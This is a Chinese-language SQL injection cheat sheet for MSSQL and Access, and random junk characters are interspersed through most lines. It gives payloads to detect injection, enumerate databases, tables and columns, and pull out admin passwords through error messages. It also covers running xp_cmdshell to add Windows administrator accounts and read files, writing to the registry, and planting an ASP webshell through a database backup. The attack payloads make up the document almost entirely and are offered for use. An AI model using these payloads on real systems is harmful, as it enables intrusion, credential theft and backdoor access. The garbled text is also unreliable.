1.判断是否有注入
! f6 [# y q. B# r;and 1=1 , C: O G8 f4 A, b# V
;and 1=2 1 G7 x# Y1 m8 z6 b3 m3 }: U% y
0 h6 T) y% w4 K6 e5 @" r4 _' B
2.初步判断是否是mssql
p6 ^1 H a/ f8 N9 C ]2 k# c;and user>0 ( v P6 S2 P7 ^! a
9 \( y8 x {* r! |% K6 M' n, m
3.判断数据库系统 1 {5 e O1 W) \: Z
;and (select count(*) from sysobjects)>0 mssql
; A' x' A0 a6 s7 r6 N;and (select count(*) from msysobjects)>0 access
$ K8 P. \" Q' @5 J
! f, @* E' h- ]' G! y8 L: Q7 w4.注入参数是字符
+ d3 A C" [8 W% X6 E7 r'and [查询条件] and ''='
% {3 D! W- O- v0 z: e
% o9 W. ]# v- j- \8 g Q" E5.搜索时没过滤参数的 7 f6 h2 A8 H2 p; g- e3 s
'and [查询条件] and '%25'=' ) A8 K: b5 `& `/ p
1 `( ^% q" n/ v# U y
6.猜数表名
; R) N9 F: M1 q& g& S% q1 W;and (select Count(*) from [表名])>0 ) P2 b" }6 B! T. W! p0 A! a" P
w* |; N6 y, a* c8 u7.猜字段
3 E, g0 Z6 k: k p$ ?7 z;and (select Count(字段名) from 表名)>0
% y) d* _; Y8 E$ K5 Z* |: d# z
8.猜字段中记录长度 & S# z+ |3 D, g+ W
;and (select top 1 len(字段名) from 表名)>0 # u0 z6 r6 S L, @5 H- |! ~( F7 W
8 `/ s: j4 ]/ M, \, J
9.(1)猜字段的ascii值(access) 5 Q0 j6 \* c+ e. w ], H
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
8 u8 G; |) }$ I$ Y6 C( ?7 X7 ^' _/ |7 T5 V& e( P
(2)猜字段的ascii值(mssql)
: b+ u+ m2 j* j0 C9 ];and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 0 A6 m7 h$ }$ w2 h2 p$ ?% v
& { ?. \+ I; B: h' c7 ~# b# B5 c10.测试权限结构(mssql)
# ]: H8 [9 b5 z- `7 X# s% ^;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 [* M/ U7 j. [
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
7 d! y/ ]6 c" p;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* Y$ L1 R7 o! a# v& y: l;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 u9 h( Z* l4 w m2 n7 ^
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
" R0 s @9 v0 i1 K. Q- W;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) P& R; s* e7 J5 C
;and 1=(select IS_MEMBER('db_owner'));-- 2 P7 k2 V+ P- A) E
# b2 |6 d- M, K; i1 V" d: W! e$ f+ Z
11.添加mssql和系统的帐户
( t" s- K$ ^1 _4 ~4 U7 l0 e;exec master.dbo.sp_addlogin username;-- : K }0 b) f _0 E {/ ^ {6 _
;exec master.dbo.sp_password null,username,password;--
; `! ]1 ~. m- e$ b3 O;exec master.dbo.sp_addsrvrolemember sysadmin username;--
- S+ p2 o# A O0 B;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
' l9 t9 \8 P7 w3 L* S/ h' `7 U;exec master.dbo.xp_cmdshell 'net user username password /add';--
. A% l0 U- o" E+ S3 _- l0 W( ~;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0 q! b& E3 [1 k3 y6 O u( |
+ u8 k- e7 e. [5 [4 U0 `2 W12.(1)遍历目录
) p* r( Z$ n$ P- F. c, D, W" ]4 M;create table dirs(paths varchar(100), id int) . L. I# J( u: H
;insert dirs exec master.dbo.xp_dirtree 'c:\' . ~) l! y- @; p/ P
;and (select top 1 paths from dirs)>0
F$ H6 r' J$ H- b( H2 Y3 F;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 u3 P5 g$ T5 X: U0 P; c6 b# v, r5 C, Q! U$ ]7 g; h& E; y
(2)遍历目录
7 K! d6 W) ^. O1 U o9 v) F \;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
% N% b) M4 _4 y$ T;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # q, ]3 r; w8 T* v1 J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
7 a2 {& p6 W: j4 O! g;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
q+ R1 v, |' I+ b( d! x;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ! Q* H. w! ]! ^+ g
' ]; M) r( n, x+ m13.mssql中的存储过程
5 f0 K; O' U; [* U/ t h axp_regenumvalues 注册表根键, 子键
Z p: S1 Q9 B6 @; C0 `# S) X" m* s;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
+ o! D1 b% N" T6 Y' y1 ixp_regread 根键,子键,键值名
B1 X: \1 h/ i7 A;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6 i6 U% Z3 U/ b* ~3 V
xp_regwrite 根键,子键, 值名, 值类型, 值
: N$ `4 u; [: D值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 * {* F1 Z. z6 L, D" W
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
, c% r' O. M; `( h- i4 ]% fxp_regdeletevalue 根键,子键,值名 / {) b4 T, c! P) l
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 & h0 l, T. {2 F1 T
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: Y' J {. w: `, k% i% I" a. d0 ~- `9 D3 u/ |( h
14.mssql的backup创建webshell q1 I- h3 [2 ~
use model 1 q; F) }. h% p7 ]7 N5 C. Y5 @
create table cmd(str image); 8 w; I# p9 c8 n8 S C- S
insert into cmd(str) values ('<% Dim oScript %>'); ! R3 c, I$ [6 w& ]* t
backup database model to disk='c:\l.asp'; : \% }% ^4 U6 C! v; s8 x9 `
. t, v' F' l# M2 L& Q# m; j' W15.mssql内置函数
% J+ h- E/ M8 U' s3 E' l+ {8 ];and (select @@version)>0 获得Windows的版本号
z! T) q4 B: U! Y& N, G;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 P. q. D/ {5 p0 } O9 {& W) ];and (select user_name())>0 爆当前系统的连接用户 . @( A. |7 w7 k
;and (select db_name())>0 得到当前连接的数据库 x' Q, Y& y5 I# X1 | n. T
( C8 r5 O& z* y p' Z3 l0 p9 E
7 M _9 h% \) {/ A9 u3 O6 M% h! Z5 D7 V e4 O
MSSQL手注暴库& F4 \$ g6 l) ?2 |$ Y/ ~* E
( b. x- h$ T3 ^7 l, v
1.暴出当前表名和列名
- W8 Y' j: g( D6 U2 e0 E在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
; J6 K; n( y# m6 J
7 | y e2 a: k+ W0 N( R1 a" A( ~第一.爆出所有数据库名
) ~7 E7 k/ a9 @' T利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
, V% M% p. C' o' k/ R+ Y* M+ Q第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。8 i& w9 k9 I4 o9 N
! P& t, N' }1 t. F$ c, F- Vand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
3 R! B8 [: s; P+ y! h8 }( p/ l. N
3 A& p$ I7 A% H- l' K* P; [. x: d$ {/ p8 h' d5 j0 N' N5 w7 A0 |
第二.爆出指定库中的所有表名/ g" p' @& ~# b
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 e4 c: E. g' Y: D9 F
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
1 ^5 I+ Q2 s* ]0 `
8 H4 ^, V) }2 f$ \' W# y0 Pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
d2 t3 V% Y8 w A* u' Nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# a( B2 u1 ^5 o0 y0 t3 Y
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
7 M( `8 X0 L& H/ ]+ z" F* t. r
6 x* ]0 D/ `: G: {* a4.爆出指定表中的所有列名; z& z& ]/ Q" _+ o. i' h
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
' u7 s, }# M- k& U9 O//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'& ^# F: X4 w( v" h9 M8 ]# ^7 b
/ h% e7 S; P$ t% L; d+ ~" Y$ Z
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名3 _" f, v( N: I% _! |, }7 P1 e7 ^
0 q* @( ~) L2 F5 X
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 Z$ h9 ?4 S- y1 ~: [依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
; g* o% ]; _2 z8 i2 M' }+ Y: y& \1 Z; |8 `+ F( r9 F
' N* g' K7 S: w/ G2 Qand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值& i G3 V& Y8 }) e# Q! ^( i6 @
* B9 G* {! w# m/ { Dand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名+ i7 ^/ u6 W+ X& i% @4 R
6 W6 k4 n) g% }9 jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
+ m* n) F6 o1 `6 ~/ A6 ? u
4 o# Y: f+ Y- T9 D& d
0 B, c# L5 B; G# L4 @8 k! x( h% z0 o! C7 Q' c0 s
5.读取指定表中的数据$ R( s- R- \5 W' e( h
# ?+ v# w9 a: A2 V/ s0 m0 ]% fand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
. s7 t; _* {# g5 |# S
6 ^" S$ z5 X' y1 ?2 i* r) mand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
4 R# v; h4 M. S: g- u, }& q/ H4 I" ?- F8 N5 ^2 ?
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
( G0 l8 {; ]7 ]& P) B. T! q+ a2 }6 e7 ~4 r9 S
, `7 z: T+ M3 X- O8 W. W4 C
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)( o4 R6 @/ x' A" g1 S' F$ ]6 f
3 {( @' r% q; Xand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
# f# K8 S: j+ o* } y7 {4 _$ \4 e3 |( S' f
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--* u# J" \. C$ @' z+ o* }/ i
5 }1 S7 F- A H4 B% b! [0 M知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
7 _3 n/ r) }5 k8 ]8 ?2 { |